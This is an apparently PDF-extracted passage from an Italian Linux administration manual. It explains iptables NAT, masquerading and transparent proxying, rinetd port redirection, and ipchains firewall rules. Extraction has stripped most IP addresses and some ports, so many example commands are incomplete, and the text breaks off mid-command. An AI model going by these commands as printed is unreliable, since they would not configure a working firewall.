Kernel Linux 2.4: firewall 1985

Транскрипт

1 Kernel Linux 2.4: firewall 1985 Mark Grennan, Firewalling and Proxy Server HOWTO < Peter Bieringer, Linux IPv6 HOWTO < Appunti di informatica libera Copyright Daniele Giacomini -- swlibero.org

2 Kernel Linux 2.4: NAT/PAT Capitolo 178 Il kernel Linux 2.4., assieme alla gestione del filtro dei pacchetti IP, può occuparsi anche della * trasformazione degli indirizzi e delle porte, ovvero del NAT/PAT. Ciò consente, tra le altre cose, di ottenere il mascheramento IP e la gestione del proxy trasparente. È molto probabile che queste funzionalità siano disponibili solo per i protocolli IPv Struttura e punti di intervento La gestione NAT/PAT può essere applicata in tre punti, denominati PREROUTING, POSTROUTING e OUTPUT. Figura Punti di intervento per la gestione del NAT/PAT e influenza relativa PREROUTING POSTROUTING Ingresso > NAT sulla > NAT > Uscita destinazione sull origine V Instradamento ^ OUTPUT NAT sulla destinazione V Processi locali ^ Processi locali Il PREROUTING si riferisce a una posizione ideale che precede l instradamento da parte dell elaboratore. In questa posizione è possibile modificare gli indirizzi di destinazione, in modo che l instradamento possa avvenire correttamente in base a tali trasformazioni. Il POSTROUTING si riferisce a una posizione ideale successiva all instradamento da parte dell elaboratore. In questa posizione è possibile modificare gli indirizzi di origine. Il punto denominato OUTPUT si riferisce ai pacchetti generati da un processo locale. Questi vengono vagliati successivamente anche dal punto POSTROUTING ; a ogni modo si può gestire solo la trasformazione degli indirizzi di destinazione Gestione con IPTables La configurazione della trasformazione degli indirizzi avviene per mezzo di IPTables, intervenendo nella tabella nat : iptables -t nat opzione_di_comando punto_di_intervento regola obiettivo_di_trasformazione Le opzioni di comando sono le stesse che si utilizzano per la gestione del filtro dei pacchetti IP. Anche in questo caso è prevista la presenza di una politica predefinita, dove la parola chiave ACCEPT serve a specificare l assenza di trasformazioni. In condizioni normali, la tabella risulta vuota, come si vede nell esempio seguente: 1986

3 Kernel Linux 2.4: NAT/PAT 1987 # iptables -t nat -L[ Invio ] Chain PREROUTING (policy ACCEPT) target prot opt source destination Chain POSTROUTING (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination Sono disponibili le opzioni che identificano il protocollo, gli indirizzi, le porte e le interfacce di rete, come già avviene nell utilizzo di IPTables per la gestione del filtro IP Modifica dell origine Per comprendere il significato della trasformazione degli indirizzi di origine, conviene fare riferimento a un esempio, come si vede nella figura In questo caso, il NAT si trova collegato a una rete privata, in cui si usano indirizzi , mentre dalla parte connessa alla rete esterna, dispone di quattro indirizzi validi: , , , Per consentire i * collegamenti che partono dalla rete interna a quella esterna, il NAT deve sostituire gli indirizzi di origine utilizzando convenientemente i quattro indirizzi di cui dispone. Naturalmente, i quattro indirizzi in questione corrispondono tutti alla stessa interfaccia ed esistono gli instradamenti necessari dalla rete esterna a questi indirizzi. Figura Modifica degli indirizzi di origine Rete privata * N A T * * Rete pubblica (Internet) host host Per raggiungere questo risultato, si può utilizzare il comando seguente, supponendo che eth0 sia l interfaccia a cui fanno riferimento i quattro indirizzi IP validi per la rete esterna: # iptables -t nat -A POSTROUTING -o eth0 -j SNAT --to-source # iptables -t nat -L POSTROUTING Chain POSTROUTING (policy ACCEPT) target prot opt source destination SNAT all -- anywhere anywhere to: Come si può osservare, per ottenere la trasformazione degli indirizzi di origine viene utilizzato l obiettivo di trasformazione SNAT, che implica l uso di un opzione aggiuntiva: --to-source indirizzo_ip[-indirizzo_finale][:porta_iniziale-porta_finale] --to indirizzo_ip[-indirizzo_finale][:porta_iniziale-porta_finale] Come si intende dal modello sintattico, è possibile aggiungere l indicazione di un intervallo di porte da utilizzare per la trasformazione. In generale, non mettendo questa informazione, la trasformazione delle porte avviene in modo corretto. Questo tipo di trasformazione precisa degli indirizzi di origine si presta per le situazioni in cui l interfaccia di rete collegata alla rete esterna ha uno o più indirizzi IP statici da poter mostrare. In alternativa, quando si può disporre soltanto di un indirizzo dinamico, come avviene nelle connessioni PPP comuni, conviene usare l obiettivo MASQUERADE.

4 1988 Kernel Linux 2.4: NAT/PAT Figura Mascheramento IP. Indirizzo IP dinamico Rete privata * N A T * * Rete pubblica (Internet) host host Seguendo l esempio della figura 178.3, supponendo che l interfaccia di rete collegata all esterno sia ppp0, si procede nel modo seguente: # iptables -t nat -A POSTROUTING -o ppp0 -j MASQUERADE # iptables -t nat -L POSTROUTING Chain POSTROUTING (policy ACCEPT) target prot opt source destination MASQUERADE all -- anywhere anywhere Si intende che la sostituzione dell origine si gioca su un indirizzo IP unico, gestendo convenientemente le porte TCP e UDP. Pertanto, l indirizzo in questione è implicitamente quello di cui dispone l interfaccia di rete, che così può essere dinamico Modifica della destinazione La modifica della destinazione si definisce con l obiettivo DNAT, che può intervenire nel punto PREROUTING, oppure nei pacchetti generati localmente. Questo tipo di sostituzione serve per dirottare i pacchetti, per qualche motivo. Figura Il NAT/PAT trasferisce le connessioni dirette a :80 a : Rete pubblica eth > N A T : ^ Rete locale servente > HTTP :80 reale La figura mostra una situazione in cui viene collocato un servente HTTP in una rete locale con indirizzi privati, mentre si vuole fare in modo che all esterno appaia collocato all interno del router che svolge il ruolo di NAT. Per realizzare in pratica questa cosa, si può usare il comando seguente: # iptables -t nat -A PREROUTING -p tcp --dport 80 -i eth0 -j DNAT --to-destination # iptables -t nat -L PREROUTING Chain PREROUTING (policy ACCEPT) target prot opt source destination DNAT tcp -- anywhere anywhere tcp dpt:www to: Come si può vedere dall esempio, l obiettivo di trasformazione DNAT implica l uso di un opzione aggiuntiva:

5 Kernel Linux 2.4: NAT/PAT to-destination indirizzo_ip[-indirizzo_finale][:porta_iniziale-porta_finale] --to indirizzo_ip[-indirizzo_finale][:porta_iniziale-porta_finale] Come si intende dal modello sintattico, è possibile aggiungere l indicazione di un intervallo di porte da utilizzare per la trasformazione. In generale, non mettendo questa informazione, la trasformazione delle porte avviene in modo corretto. Nelle situazioni più comuni, modificando la destinazione si indica un solo indirizzo ed eventualmente una sola porta. Un altra situazione tipica è quella rappresentata dall esigenza di ridirigere il traffico diretto a una certa porta, verso una porta differente di un certo nodo, nel quale esiste probabilmente una cache proxy (che ovviamente deve essere configurato correttamente per gestire tale situazione). Figura Realizzazione di un proxy trasparente per una rete locale eth0 Proxy eth1 Rete privata * trasparente * * Rete esterna host host Supponendo di gestire una rete locale simile a quella che si vede nella figura 178.5, si vuole fare in modo che tutte le richieste di accesso a servizi HTTP, da parte della rete locale, siano dirottati verso il proxy, collocato nello stesso elaboratore che ospita il NAT, alla porta 8080 (si parla in questo caso di proxy trasparente). # iptables -t nat -A PREROUTING -p tcp --dport 80 -i eth1 -j DNAT --to-destination :8080 In questo caso particolare, dal momento che si vuole intervenire nello stesso elaboratore che ospita sia il NAT che il servizio proxy, è possibile utilizzare l obiettivo speciale REDIRECT, che richiede l indicazione dell opzione --to-port : --to-port porta --to porta L esempio precedente potrebbe quindi essere semplificato nel modo seguente: # iptables -t nat -A PREROUTING -p tcp --dport 80 -i eth1 -j REDIRECT --to-port 8080 # iptables -t nat -L PREROUTING Chain PREROUTING (policy ACCEPT) target prot opt source destination REDIRECT tcp -- anywhere anywhere tcp dpt:www redir ports 8080 Il cambiamento della destinazione per quanto riguarda i pacchetti generati dalle applicazioni locali (interne al NAT), funziona nello stesso modo, ma è meno probabile la necessità di intervenire in questo modo.

6 1990 Kernel Linux 2.4: NAT/PAT Sistemazione del programma che funge da proxy Perché il proxy trasparente funzioni non è sufficiente il dirottamento dei pacchetti attraverso IPTables, anche il programma che gestisce il proxy deve poi essere in grado di gestire la cosa. Attualmente, se si utilizza Apache non dovrebbe essere necessaria alcuna modifica nella sua configurazione, mentre nel caso di Squid sono indispensabili le due direttive seguenti, che vanno collocate nel file /etc/squid.conf (vengono lasciati i commenti originali del sorgente di questo file). # HTTPD-ACCELERATOR OPTIONS # # TAG: httpd_accel # If you want to run squid as an httpd accelerator, define the # host name and port number where the real HTTP server is. # # If you want virtual host support then specify the hostname # as "virtual". # httpd_accel virtual 80 # TAG: httpd_accel_with_proxy # If you want to use squid as both a local httpd accelerator # and as a proxy, change this to on. # httpd_accel_with_proxy on Riferimenti Rusty Russell, Linux 2.4 NAT HOWTO < Terry Dawson, Linux NET-3-HOWTO, Linux Networking < Mark Grennan, Firewalling and Proxy Server HOWTO < Appunti di informatica libera Copyright Daniele Giacomini -- swlibero.org

7 Capitolo 179 Ridirezione del traffico IP senza l ausilio del kernel Nel momento in cui nella rete si inseriscono dei nodi intermediari, come i firewall, diventa interessante la possibilità di ridirigere il traffico IP. In questo capitolo si vuole mostrare come agire quando tale funzionalità non può essere gestita dal kernel. L idea alla base di questo concetto è quella di poter trasferire un servizio presso un nodo diverso da quello che appare nelle richieste dei clienti, soprattutto quando questo nodo nuovo non potrebbe essere raggiungibile direttamente. Figura il nodo «A» ridirige il traffico diretto a lui, nella porta 80 (HTTP), verso il nodo «B», alla stessa porta Rete nodo A > :80 router ^ > nodo B : Conseguenze La ridirezione del traffico IP non appare in modo manifesto: il cliente che accede al servizio intrattiene una connessione con il router che ridirige il traffico, senza potersi rendere conto di questo fatto; nello stesso modo, il servente viene interpellato dal router, che a lui appare essere il cliente. Il meccanismo permette la gestione di servizi all interno di una rete mascherata, che in generale non risulta raggiungibile all esterno. In tal caso, il firewall utilizzato per gestire il mascheramento, è il router che può ridirigere alcuni servizi all interno della rete mascherata. La figura dovrebbe chiarire il concetto. Figura Il nodo «A» funge da firewall di mascheramento e invece di fornire direttamente il servizio HTTP (80), si avvale di un nodo collocato nella rete locale mascherata Rete pubblica nodo A > firewall di :80 mascheramento ^ Rete locale mascherata > nodo B : Naturalmente, questo sistema di ridirezione può essere sfruttato anche da persone in mala fede, per ridirigere il traffico che transita attraverso un router di loro competenza. Gli scopi per questo tipo di comportamento possono essere vari, senza che ci sia bisogno di spiegarlo. 1991

8 1992 Ridirezione del traffico IP senza l ausilio del kernel È importante sottolineare che la ridirezione può riguardare tutto il traffico in transito attraverso un router. Con questo si intende che si può ridirigere una certa porta di un certo indirizzo IP, anche se questo indirizzo non appartiene alle interfacce del router Rinetd Il pacchetto Rinetd 1 permette di ridirigere una destinazione TCP, definita attraverso una coppia indirizzo_ip:numero_di_porta, presso un altra coppia di questi valori. Lo scopo può essere semplicemente quello di dirigere una porta locale verso un altra porta locale, oppure si può arrivare a intercettare il traffico IP che attraversa un router in modo da ridirigere alcune coppie di indirizzi e porte presso altre destinazioni. Tutto è composto semplicemente da un demone, rinetd, che si avvale di un file di configurazione, /etc/rinetd.conf, nel quale si indicano semplicemente le ridirezioni da applicare. La presenza in funzione del demone rinetd è incompatibile con altri demoni in ascolto delle stesse porte che devono essere ridirette, anche se queste sono intese appartenere a nodi differenti. Rinetd non è in grado (attualmente) di annotare nel registro del sistema il traffico ridiretto. Questo può costituire un problema, dal momento che sia i nodi che richiedono il servizio, di quelli che lo offrono veramente, non possono avere le informazioni relative alle connessioni intrattenute realmente. rinetd è il demone che si occupa di ridirigere il traffico TCP in base a quanto contenuto nel file di configurazione /etc/rinetd.conf : rinetd È sufficiente avviarlo; se il file di configurazione è corretto, inizia il suo lavoro. All avvio, dopo aver letto la configurazione, rinetd deve poter stare in ascolto dell indirizzo da ridirigere e della porta relativa. Qualunque sia l indirizzo in questione, è necessario che non ci sia già un programma locale che fa la stessa cosa su quella stessa porta; per esempio, non si può tentare di ridirigere il servizio HTTP di un indirizzo qualunque, se questo è presente localmente. Il sintomo di questo tipo di errore è dato da un messaggio del tipo: Couldn t bind to address indirizzo_da_ridirigere port porta_da_ridirigere. Il file /etc/rinetd.conf permette di definire la ridirezione del traffico TCP attuata da rinetd. Il file può contenere commenti, introdotti dal simbolo # e conclusi dalla fine della riga; inoltre possono apparire righe vuote o bianche, che vengono ignorate, come i commenti. Le altre righe vengono trattate come direttive, interpretate secondo la sintassi seguente: ip_destinazione porta_destinazione ip_nuova_destinazione porta_nuova_destinazione Un esempio dovrebbe essere sufficiente a chiarire l utilizzo di questo file. Si suppone di voler dirottare il traffico diretto verso l indirizzo IP alla porta 80, in modo che questo vada verso l indirizzo IP , alla porta Se la cosa può risultare preferibile, sia i numeri di porta che gli indirizzi IP possono essere sostituiti con nomi equivalenti. Nell esempio seguente si lasciano gli indirizzi IP e si indicano i servizi per nome. 1 Rinetd GNU GPL

9 Ridirezione del traffico IP senza l ausilio del kernel html html L indirizzo da ridirigere, può appartenere a un interfaccia del nodo presso cui si trova in funzione il demone rinetd, oppure no, purché i pacchetti diretti a tale indirizzo transitino attraverso il nodo che attua la ridirezione. Se si vuole apprendere il funzionamento di Rinetd senza disporre di una rete vera e propria, basta una direttiva di configurazione simile a quella seguente: localhost 9999 localhost html In questo modo, la porta locale 9999 viene ridiretta sulla porta del servizio HTTP (80). Se il servizio HTTP è attivo, si può verificare la ridirezione con un programma di navigazione qualunque, puntando all URI Appunti di informatica libera Copyright Daniele Giacomini -- swlibero.org

10 Capitolo 180 Kernel Linux 2.2: firewall e mascheramento IP Le funzionalità di firewall e di mascheramento IP, essendo incorporate nel kernel, devono essere abilitate prima della compilazione (sezione ). È importante osservare che quando si utilizza il sistema del filtro di pacchetto IP, è necessario consentire il transito dei pacchetti attraverso il firewall, abilitando in pratica le funzionalità di inoltro dei pacchetti (forwarding/gatewaying) come nel caso di un router normale. Una volta inserita nel kernel la funzionalità di forwarding/gatewaying, questa può essere controllata attraverso un file del file system virtuale /proc/. Generalmente, tale funzionalità viene disabilitata espressamente, per motivi di sicurezza, dalla procedura di inizializzazione del sistema. Per riattivare l inoltro tra le interfacce di rete, si può agire nel modo seguente: # echo 1 > /proc/sys/net/ipv4/ip_forward Schema generale di funzionamento del kernel Gli elementi del kernel che si occupano delle funzionalità di filtro IP sono definite IP chain. Si distinguono tre punti di controllo (chain): uno in ingresso, uno di inoltro e uno in uscita. A seconda delle circostanze, un pacchetto IP può essere sottoposto alla verifica di uno o più di questi punti di controllo, che vengono programmati in base a delle regole. Quando un pacchetto sottoposto a controllo corrisponde a una regola, la sua sorte viene definita dall obiettivo di questa (ammesso che sia stato definito). Figura Schema dei punti di controllo della gestione del kernel Linux 2.2. * Ingresso Inoltro Uscita Regole per Regole per Regole per l ingresso l attraver- l uscita dei samento dei dei pacchetti pacchetti pacchetti Politica Politica Politica predefinita predefinita predefinita Un pacchetto proveniente da un interfaccia qualunque, diretto allo stesso firewall o passante per questo, è soggetto al controllo di ingresso; un pacchetto passante, dopo il controllo di ingresso viene sottoposto al controllo di inoltro; un pacchetto che deve uscire attraverso un interfaccia del firewall è sottoposto al controllo di uscita. In pratica, i pacchetti che devono attraversare il firewall sono sottoposti a tutti i punti di controllo in questa sequenza. Quando un pacchetto IP è sottoposto al vaglio di un punto di controllo e all interno di questo non c è alcuna regola che lo prenda in considerazione, la sua sorte è stabilita dalla politica predefinita (policy) per quel filtro. Generalmente, questa politica è tale per cui gli viene concesso il transito. 1994

11 Kernel Linux 2.2: firewall e mascheramento IP ipchains per l amministrazione del firewall La gestione del filtro di pacchetto IP del kernel deve essere regolata in qualche modo, cosa che avviene attraverso il programma ipchains. Dal momento che le funzionalità di firewall del kernel sono piuttosto estese, la sintassi di questo programma è molto articolata e se ne può apprendere l utilizzo solo gradualmente. ipchains interviene su un elenco di regole riferite alle funzionalità di firewall del kernel; un po come avviene con la tabella degli instradamenti di un router. L ordine in cui sono elencate tali regole è importante, quindi si deve poter distinguere tra l inserimento di una regola all inizio, alla fine o in un altra posizione dell elenco esistente. Salvo eccezioni particolari, che verranno descritte nel contesto opportuno, la sintassi di massima per l utilizzo di ipchains è quella seguente: ipchains opzione_di_comando punto_di_controllo [regola] [obiettivo] L opzione di comando serve a stabilire il tipo di intervento nel sistema di gestione del firewall. L elenco seguente si riferisce alle opzioni che permettono la cancellazione o l inserimento delle regole in un punto di controllo: -F --flush elimina tutte le regole del punto di controllo specificato; -D --delete elimina una o più regole dal punto di controllo specificato; -A --append aggiunge una regola in coda a quelle del punto di controllo selezionato; -I --insert inserisce una regola in una posizione stabilita del punto di controllo selezionato; -R --replace sostituisce una regola del punto di controllo selezionato. Altre opzioni non modificano le regole; in particolare: -L --list elenca le regole di un uno o di tutti i punti di controllo; -P --policy cambia la politica predefinita per il punto di controllo specificato; Altre opzioni verranno mostrate quando sarà più opportuno. Il punto di controllo viene indicato attraverso un nome. Si tratta di input, forward e output, che intuitivamente fanno riferimento all ingresso, all inoltro e all uscita.

12 1996 Kernel Linux 2.2: firewall e mascheramento IP Il programma ipchains permette di gestire delle regole all interno di contenitori aggiuntivi a cui si fa riferimento a partire da regole inserite nei punti di controllo normali. Nella terminologia di ipchains si parla sempre di chain, sia per indicare i punti di controllo, sia per indicare questi elenchi di regole aggiuntive. Infine, una regola comune è conclusa con l indicazione di un obiettivo. L obiettivo è la definizione della sorte da dare al pacchetto intercettato, indicata attraverso una parola chiave. Le più importanti per iniziare ad apprendere la configurazione del firewall sono: ACCEPT, DENY e REJECT. ACCEPT consente il transito del pacchetto; DENY impedisce il transito del pacchetto, limitandosi a ignorarlo; REJECT impedisce il transito del pacchetto notificando all origine il rifiuto (viene inviato un messaggio ICMP specificante che il pacchetto è stato rifiutato). Esempi ipchains -A input regola -j DENY Lo schema mostra l aggiunta di una regola di ingresso, non meglio definita, per la quale viene applicato l obiettivo DENY. ipchains -R input 1 regola -j DENY Lo schema mostra la sostituzione della prima regola di ingresso con un altra regola non meglio definita, per la quale viene applicato l obiettivo DENY. ipchains -I input 1 regola -j ACCEPT Lo schema mostra l inserimento nella prima posizione di una regola di ingresso per la quale viene consentito il transito dei pacchetti ( ACCEPT ). # ipchains -D input 2 Questo comando elimina la seconda regola di ingresso. # ipchains -F input Questo comando elimina tutte le regole di ingresso. # ipchains -F Questo comando elimina tutte le regole di tutti i punti di controllo. # ipchains -P input DENY Cambia la politica predefinita di ingresso specificando che, in mancanza di regole, i pacchetti devono essere bloccati.

13 Kernel Linux 2.2: firewall e mascheramento IP Opzioni di contorno Prima di affrontare l analisi delle regole che possono essere inserite nei punti di controllo del firewall, è meglio descrivere subito l utilizzo di alcune opzioni di contorno che hanno un importanza minore, oppure che si possono utilizzare indipendentemente dal tipo di protocollo a cui si fa riferimento con una regola. Opzioni -v --verbose Questa opzione si utilizza generalmente assieme all opzione di comando -L, allo scopo di rendere più dettagliata l informazione che si ottiene. -n --numeric Quando ipchains viene usato per ottenere delle informazioni, con questa opzione si fa in modo che gli indirizzi numerici non siano convertiti in nomi. Ciò può essere utile per evitare l attesa di una risoluzione da parte del sistema DNS che potrebbe essere inaccessibile. -p [!] {tcp udp icmp all} --protocol [!] {tcp udp icmp all} Stabilisce il tipo di protocollo della regola che viene definita. La parola chiave all rappresenta qualsiasi protocollo ed è l impostazione predefinita se questo non viene specificato. Le parole chiave che identificano i protocolli possono essere espresse anche attraverso lettere maiuscole. Il punto esclamativo, se utilizzato, serve a fare riferimento a tutti i protocolli fuorché quello indicato. -l --log Questa è un opzione che si utilizza nella dichiarazione di una regola e serve a richiedere l annotazione nel registro del sistema di ogni pacchetto che corrisponda alla regola stessa. È evidente che si tratta di una possibilità da usare per compiere delle verifiche solo quando ne esiste la necessità. -i [!] interfaccia --interface [!] interfaccia Questa è un opzione che si utilizza nella dichiarazione di una regola e serve a indicare il nome dell interfaccia di rete attraverso la quale sono ricevuti o inviati i pacchetti della regola che si sta definendo. Quando questa opzione non viene usata, si intende fare riferimento implicitamente a qualunque interfaccia di rete. -j obiettivo --jump obiettivo Questa è un opzione che si utilizza nella dichiarazione di una regola e serve a definire l obiettivo, attraverso una parola chiave tra quelle consuete, oppure il riferimento a un gruppo di regole creato a parte. Esempi # ipchains -L input -v Elenca le regole di ingresso in modo dettagliato. # ipchains -L output -n Elenca le regole di uscita senza tradurre gli indirizzi in nomi.

14 1998 Kernel Linux 2.2: firewall e mascheramento IP ipchains -A punto_di_controllo regola -l -j DENY Lo schema mostra l indicazione di una regola non meglio definita, con la quale di vogliono intercettare dei pacchetti da bloccare (l obiettivo è DENY ). Questi pacchetti, anche se vengono bloccati, sono annotati nel registro del sistema. ipchains -A punto_fi_controllo regola -i eth0 -j DENY Lo schema mostra l aggiunta in coda di una regola non meglio identificata, nella quale viene specificato in particolare che deve riferirsi al traffico entrante o uscente dall interfaccia eth0. Per i pacchetti che vengono intercettati dalla regola, viene applicato l obiettivo DENY. ipchains -A punto_di_controllo -p tcp regola -i eth0 -j DENY Lo schema mostra l aggiunta in coda di una regola non meglio identificata, nella quale viene specificato in particolare che deve riferirsi al traffico TCP entrante o uscente dall interfaccia eth0. Per i pacchetti che vengono intercettati dalla regola, viene applicato l obiettivo DENY. ipchains -A punto_di_controllo -p! tcp regola -i! eth0 -j DENY Lo schema mostra l aggiunta in coda di una regola non meglio identificata, nella quale viene specificato in particolare che deve riferirsi a tutto il traffico che non sia TCP, entrante o uscente da un interfaccia qualunque purché non sia eth0. Per i pacchetti che vengono intercettati dalla regola, viene applicato l obiettivo DENY Regole che non fanno riferimento a un protocollo Le regole che non indicano un protocollo particolare possono servire esclusivamente a individuare il traffico riferito a un origine e a una destinazione, con l indicazione eventuale dell interfaccia: [-p all] [-s [!] origine] [-d [!] destinazione] [-i interfaccia] Come si vede dallo schema, si possono utilizzare le opzioni -s e -d per indicare rispettivamente l origine e la destinazione di un pacchetto. In aggiunta, si potrebbe inserire l indicazione di una certa interfaccia attraverso cui i pacchetti vengono ricevuti o trasmessi; inoltre, volendo indicare espressamente che non si fa riferimento a un protocollo particolare, si può aggiungere l opzione -p con l argomento all. La definizione di un gruppo di indirizzi IP può essere fatta attraverso l indicazione di una coppia numero_ip /maschera, con una barra obliqua di separazione tra i due. La maschera può essere indicata nel modo consueto, oppure con un numero che esprime la quantità di bit iniziali da porre al valore uno. Quando si vuole fare riferimento a indirizzi imprecisati, si utilizza solitamente l indirizzo , che può essere indicato anche con un solo zero; questo si abbina di solito alla maschera nulla: /0 o 0/0. Tuttavia, per fare riferimento a qualunque indirizzo, è sufficiente omettere la sua indicazione, in pratica basta fare a meno di indicare l opzione -s o -d. L indicazione di un indirizzo può essere fatta utilizzando direttamente il nome di dominio corrispondente, ma questo richiede la disponibilità di un servizio DNS; ciò può essere conveniente quando si tratta di un firewall connesso stabilmente con la rete esterna, altrimenti si creerebbero delle attese inutili e fastidiose, nel tentativo di risolvere dei nomi che non sono di competenza delle zone locali. Pertanto, in generale è preferibile indicare indirizzi in forma numerica. Il punto esclamativo che può essere inserito facoltativamente di fronte all indicazione di un indirizzo IP, o di un gruppo di indirizzi, rappresenta la negazione logica e serve a fare riferimento al gruppo di indirizzi complementare.

15 Kernel Linux 2.2: firewall e mascheramento IP 1999 Rappresentazione dell origine e della destinazione -s [!] indirizzo[/maschera] --source [!] indirizzo[/maschera] Permette di definire l origine dei pacchetti. L indirizzo viene indicato generalmente in forma numerica, anche se c è la possibilità di usare un nome di dominio. La maschera, eventuale, serve a indicare un gruppo di indirizzi. Se questo parametro viene omesso, si intende implicitamente -s /0, ovvero -s 0/0, che rappresenta tutti gli indirizzi possibili. -d [!] indirizzo[/maschera] --destination [!] indirizzo[/maschera] Permette di definire la destinazione dei pacchetti. L indirizzo viene indicato generalmente in forma numerica, anche se c è la possibilità di usare un nome di dominio. La maschera, eventuale, serve a indicare un gruppo di indirizzi. Se questo parametro viene omesso, si intende implicitamente -d /0, ovvero -d 0/0, che rappresenta tutti gli indirizzi possibili. Esempi # ipchains -A input -s /24 -j DENY Blocca tutto il traffico in ingresso proveniente dalla rete *. # ipchains -A input -s /24 -d 0/0 -j DENY Esattamente come nell esempio precedente. # ipchains -A input -s /24 -d 0/0 -i eth0 -j DENY Come nell esempio precedente, specificando però che questo traffico in ingresso deve provenire dall interfaccia eth0 (se provenisse da un altra interfaccia, non verrebbe intercettato da questa regola). # ipchains -A input -d /24 -j DENY Blocca tutto il traffico in ingresso che risulta destinato alla rete *. # ipchains -A input -s 0/0 -d /24 -j DENY Esattamente come nell esempio precedente. # ipchains -A input -s 0/0 -d! /24 -j DENY Blocca tutto il traffico in ingresso che risulta destinato a indirizzi diversi dalla rete *. # ipchains -A output -d /24 -j DENY Blocca tutto il traffico in uscita che risulta destinato alla rete *. Rispetto all applicazione di questa regola nel punto di controllo di ingresso, in questo caso si impedisce anche al firewall stesso di accedere a questi indirizzi.

16 2000 Kernel Linux 2.2: firewall e mascheramento IP Regole per i protocolli TCP e UDP Il modo con cui si possono definire le regole necessarie a individuare i pacchetti, dipendono dal tipo di protocollo utilizzato. Generalmente si è interessati maggiormente a controllare i protocolli TCP e UDP, che hanno in comune l utilizzo delle porte. Dovendo fare riferimento a un protocollo TCP o UDP si utilizza l opzione -p, seguita dalla parola chiave tcp o udp. Dal momento che i protocolli TCP e UDP utilizzano le porte, l origine e la destinazione possono includere questa informazione. Le porte possono essere indicate in modo preciso (una soltanto), oppure attraverso un intervallo. Queste porte possono essere espresse attraverso un nome, come definito nel file /etc/ services, oppure per numero, cosa che di solito si preferisce per evitare ambiguità o malintesi. Gli intervalli di porte, in particolare, vengono espressi nella forma seguente: porta_iniziale:porta_finale Se si indica un intervallo, che si determina per la presenza dei due punti, se manca l indicazione della porta iniziale si intende in modo predefinito la numero zero, se invece manca quella finale si intende la porta Come nel caso degli indirizzi IP, l indicazione della porta o dell intervallo di queste può essere preceduta dal punto esclamativo in qualità di negazione logica. Opzioni per i protocolli TCP e UDP -s [!] indirizzo[/maschera] [!] [porta intervallo_di_porte] --source [!] indirizzo[/maschera] [!] [porta intervallo_di_porte] -d [!] indirizzo[/maschera] [!] [porta intervallo_di_porte] --destination [!] indirizzo[/maschera] [!] [porta intervallo_di_porte] Con i protocolli TCP e UDP, l origine e la destinazione possono includere l indicazione delle porte. [!] -y [!] --syn All interno di una regola, fa in modo di identificare solo i pacchetti del protocollo TCP che hanno il bit SYN attivato, assieme ai bit ACK e FIN azzerati. Questo serve a isolare i pacchetti che nel protocollo TCP richiedono l inizializzazione della connessione. In pratica, si tratta di un modo alternativo per bloccare una connessione TCP in un solo verso. Se si usa il punto esclamativo di negazione si intende fare riferimento a pacchetti diversi dal tipo SYN. Esempi # ipchains -A input -p tcp -s! /16 -d / j REJECT Impedisce l accesso ai servizi HTTP (protocollo TCP, porta 80) della rete *. * a tutti gli indirizzi estranei alla rete stessa. # ipchains -A input -p tcp -s! /16 -d / y -j REJECT Come nell esempio precedente, limitandosi a intervenire nei pacchetti SYN.

17 Kernel Linux 2.2: firewall e mascheramento IP Regole per il protocollo ICMP Il protocollo ICMP è molto importante ai fini di controllo del funzionamento della rete; in questo senso è rara la possibilità che sia il caso di bloccarne il transito attraverso il firewall. Tuttavia, dal momento che i fini del firewall non si limitano al blocco del traffico, è comunque importante poter indicare una regola che sappia selezionare un tipo particolare di pacchetto ICMP. La tabella elenca i tipi di pacchetto ICMP e il loro utilizzo. Per indicare una regola che faccia riferimento a un tipo particolare di pacchetto ICMP, si sfruttano le opzioni che servono a specificare l origine o la destinazione, aggiungendo il numero o il nome del tipo ICMP. In pratica, questa informazione va a sostituire il numero di porta nel caso dei protocolli TCP e UDP. È estremamente importante che non vengano bloccati i messaggi ICMP di tipo 3. Opzioni per il protocollo ICMP -s [!] indirizzo[/maschera] [!] [tipo] --source [!] indirizzo[/maschera] [!] [tipo] -d [!] indirizzo[/maschera] [!] [tipo] --destination [!] indirizzo[/maschera] [!] [tipo] Come già accennato, con il protocollo ICMP l origine e la destinazione possono includere l indicazione del tipo di messaggio ICMP. Esempi # ipchains -A input -p icmp -s! /16 8 -d /16 -j DENY Blocca e ignora i pacchetti ICMP che contengono un messaggio di tipo 8, cioè echo-request, proveniente da un indirizzo estraneo alla rete *. * e destinato alla rete stessa Pacchetti frammentati I pacchetti frammentati costituiscono un problema per la gestione del firewall. In generale ci si limita a intervenire sul primo frammento, perché questo dovrebbe contenere le informazioni necessarie a identificarlo correttamente. Se il firewall rappresenta un passaggio obbligato per il traffico che lo attraversa, è molto importante che sia abilitata la ricomposizione dei pacchetti frammentati. Questo risolve tanti problemi e soprattutto quello del controllo dei frammenti. Per identificare un frammento di pacchetto successivo al primo, si utilizza l opzione -f nel modo seguente: [!] -f [!] --fragment Il punto esclamativo permette di ottenere l effetto contrario, cioè di fare riferimento a tutti i pacchetti che non sono frammenti. Utilizzando questa opzione non è possibile indicare delle porte TCP o UDP, né specificare il tipo di messaggio per il protocollo ICMP.

18 2002 Kernel Linux 2.2: firewall e mascheramento IP Esempi # ipchains -A input -p icmp -s! /16 -d /16 -f -j DENY Blocca e ignora i frammenti dei pacchetti ICMP provenienti da un indirizzo estraneo alla rete *. e destinati alla rete stessa. * Esempi Di seguito vengono mostrati altri esempi che dovrebbero aiutare a comprendere ancora meglio il funzionamento di un firewall realizzato con GNU/Linux. /sbin/ipchains -A forward -s /3 -d 0/0 -l -j DENY Questa regola impedisce il transito di tutti quei pacchetti che provengono da un origine in cui l indirizzo IP sia composto in modo da avere i primi tre bit a uno. Infatti, si traduce nel numero binario , che esclude tutta la classe D e la classe E degli indirizzi IPv4. Si osservi l aggiunta dell opzione -l per ottenere l annotazione nel registro del sistema dei tentativi di attraversamento. Segue la visualizzazione della regola attraverso ipchains -L forward -n ; si osservi la comparsa della lettera l nella colonna delle opzioni. target prot opt source destination ports DENY all ----l / /0 n/a /sbin/ipchains -A forward -s /3 -l -j DENY Questo esempio è esattamente identico a quello precedente, perché la destinazione predefinita è proprio quella riferita a qualunque indirizzo. /sbin/ipchains -A forward -p tcp -s /24 -d 0/0 23 -j ACCEPT Consente ai pacchetti TCP provenienti dalla rete / di attraversare il firewall per raggiungere qualunque indirizzo, ma solo alla porta 23. In pratica concede di raggiungere un servizio TELNET. Segue la visualizzazione della regola attraverso ipchains -L forward -n. target prot opt source destination ports ACCEPT tcp / /0 any -> telnet /sbin/ipchains -A forward -p tcp -s 